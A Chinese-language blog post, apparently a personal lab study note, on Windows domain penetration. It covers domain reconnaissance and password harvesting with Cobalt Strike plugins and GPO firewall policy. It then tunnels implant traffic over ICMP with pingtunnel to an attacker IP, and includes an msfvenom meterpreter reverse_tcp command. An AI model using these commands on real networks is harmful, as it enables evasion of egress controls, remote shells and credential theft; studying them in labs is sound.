1、前言
最近在学域渗透方面的知识,这里就记录一下。主要涉及到什么是域,域的信息收集,防火墙的策略同步,以及当主机出网的协议被封杀时如何利用隧道上线。
2、什么是域
域是一个有安全边界的计算机集合,在域内的计算机互相信任,在域内访问其他机器,不需要再被访问机器许可滴。域内的主机由域控制器(Domain Controller,DC)统一管理,每个域至少有一台DC。域中的账号和资源统一被DC管理,比如管理员登录了DC,那么他就可以对域内的账号进行密码修改或者限制它访问某类资源,安装软件啥的。拥有域账号的用户叫域用户,域用户可以在域内的任何一机器登录它的域账号,比如A机器和B机器在同一域内,那么域用户既可以在机器A登录也可以在机器B登录。
2.1域信息收集
在你历经千辛万苦终于到达内网之后,面对一个陌生的域,首先肯定是进行信息收集嘛。主机探测、密码抓取等。这里假设我们已经获取了一台内网主机的shell,那我们怎么判断这个主机是不是在域内呢。最简单的命令,如果在域内的话会返回域的名称和DC的时间。这里可以看出主机在god.yu域内。
net time /domain
主机不在域内的话命令执行结果如下
现在我们已经知道主机在god.yu中了,然后我们还可以知道DC的ip地址,直接ping这个域即可
ping DC-god.god.yu
对域的信息收集其实就是域命令的使用,感兴趣的可以搜一下,这里我直接上工具来信息收集啦。毕竟有工具谁还想一个一个命令地敲。这里用cs的插件进行域信息收集,这些插件超级猛,还方便。
查询当前域内的主机,可以看到当前域内有四台主机,分别是server2008、server2012、win10、win7。
查询当前域控制器名称
抓取当前域内在线主机的密码和域账号
cs插件用来收集域信息简直是牛波一,直接可视化界面,鼠标点击就行,这里就不过多赘述了。
2.2域防火墙
在域内的话,每个主机的防火墙都是由DC同一控制的,域用户没有权限去修改防火墙滴
我们可以在DC设置防火墙策略再下发到各个主机,这样就可以实现防火墙的统一管理。
开始-》管理工具-》组策略-》林-》域-》右击域-》创建GPO
名字随便都行
然后就是对组策略的编辑,打开组策略管理,找到我们刚刚新建的GPO,我这里的名字是fhq
右键fhq-》点击编辑-》弹窗是,然后就是点击策略-》windows设置-》安全设置-》高级安全windows防火墙-》高级windows防火墙,就可以编辑防火墙策略啦。
2.3防火墙策略同步
现在我们就来试试DC设置防火墙规则然后下发到域内主机,我们先到域内主机确保我们的防火墙是开的。
然后我们到DC把防火墙关了,三个全部关掉。
这里有三种方法下发防火墙策略,一是右击我们的fhq然后点击强制,不过我试了试,没啥用。
第二种就是域内主机重启,然后就会自动更新策略组。
官方解释:重启域成员计算机或用户登录到域成员计算机时,会自动刷新组策略。 此外,还会定期刷新组策略。 默认情况下,每 90 分钟执行一次这种定期刷新,随机偏移量不超过 30 分钟
最后就是使用命令更新策略,到域内主机敲一下即可
gpupdate
可以看到同步策略之后,我们的防火墙是关了的。
2.4出入站规则
除了防火墙之外,域内主机的出入站规则也是由DC来控制的。出站规则就是限制你主机的流量出去,入站规则就是限制外面的流量进来,比现在DC是可以访问百度的。
但是我现在把tcp流量出站全部封杀,也就是tcp的流量无论从那个端口都出不去。点击出站规则,右键新建规则,选择端口。
点击下一步-》选择TCP-》所有端口-》再下一步选择阻止连接-》最后无脑下一步即可
这里可以看到我们刚刚新建的出站规则,这里我的名称为test。
再更新一下DC的策略即可,可以看到我们无法访问百度了。因为我们封杀了tcp嘛,访问百度的流量出不去。可能有人会问访问百度不是走http协议的吗,为啥封杀tcp也行。这是因为http在OSI模型中是第七层应用层,而tcp是在第四层传输层,http是基于tcp的嘛。你这样想爸爸都没有了,哪来的儿子。
但是我们是ping的通百度的,这是为啥,因为ping是走icmp滴,而icmp在第三层网络层。入站规则下发的话和防火墙一样的,就不多说了。
3、利用隧道技术进行主机上线
上面我们说过假如我们把tcp封杀了,那么我们主机的流量就出不去了,但是我们的后门又是走tcp和http的。这里我生成一个http的后门然后放到域内主机去运行它,可以看到查看进程的时候,http.exe已经运行啦。
但是cs这边却没有主机上线,因为tcp流量被我们封杀了嘛,出不去也就到达不了我们的cs咯。
3.1隧道技术
封杀了tcp后门流量出不去,那咋办呢。想一下既然tcp协议走不通,那我们是不是可以换一种协议。我们可以换在tcp下一层的icmp协议,因为tcp实在第四层传输层嘛,而icmp是在第三层网络层的。相当于icmp是tcp的爸爸,儿子没了关我爸爸什么事对吧。但是不能用层数比tcp高的协议,因为那都是基于tcp滴。这种换协议的方法就叫做隧道技术,这里我们将tcp转换为icmp可以使用下面这三个工具,这里我就用pingtunnel。
SPP、icmpsh、pingtunnel
3.2不出网cs上线
我们先启动pingtunnel服务端。这里我攻击机是linux,所以运行的是Linux版本的pingtunnel
sudo ./pingtunnel -type server
然后再用cs生成两个监听器,一个是监听你的攻击机,一个是监听本地。
我们用2222监听器生成木马,放到靶机里面。靶机是Windows,所以我们运行windows版本的pingtunnel。要先运行pingtunnel再运行木马才可以成功上线。
pingtunnel.exe -type client -l 127.0.0.1:4444 -s 192.168.145.171 -t 192.168.145.171:3333 -tcp 1 -noprint 1 -nolog 1
也是成功上线好吧,而且我们可以看到上线的监听器是1111,而我们生成木马的监听器却是2222。为啥会这样子呢,我们用监听地址为127.0.0.1的监听器生成木马,那么这个木马的流量就不会走出去,一直在原地转圈嘛。然后我们又运行了pingtunnel,让它把本地127.0.0.1:4444的tcp流量封装成icmp流量,再转发到192.168.145.171:3333嘛。如果我们直接用1111监听器生成木马,那么它流量不就想走到192.168.145.171去了嘛,但是我们又封杀了tcp走不出去,所以也就无法上线。
还要注意一下,你转发流量的端口要和监听器设置的端口一致。
3.3msf不出网上线
我们先生成一个木马,tcp类型或者http类型的都无所谓,这里我选tcp的。这里我们木马设置的地址依旧是127.0.0.1,原理和上面cs一样的,都是为了让木马运行后的流量在原地打圈。
msfvenom -p windows/meterpreter/reverse_tcp lhost=127.0.0.1 lport=4444 -f exe -o test2.exe
然后使用msf监听,监听地址为攻击机的ip,端口为你pingtunnel要转发到的端口。然后直接run
靶机运行pingtunnel命令,和上面cs的一样,最后再运行木马。
pingtunnel.exe -type client -l 127.0.0.1:4444 -s 192.168.145.171 -t 192.168.145.171:3333 -tcp 1 -noprint 1 -nolog 1
成功拿到shell,流量走向和上面cs的一样。都是先在靶机转圈,再由pingtunnel封装成icmp协议转发到攻击机。
对于隧道还有很大其他的技术,后续我都会记录下来,有兴趣的可以关注一波。
4、总结
以上就是本次的内容啦。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。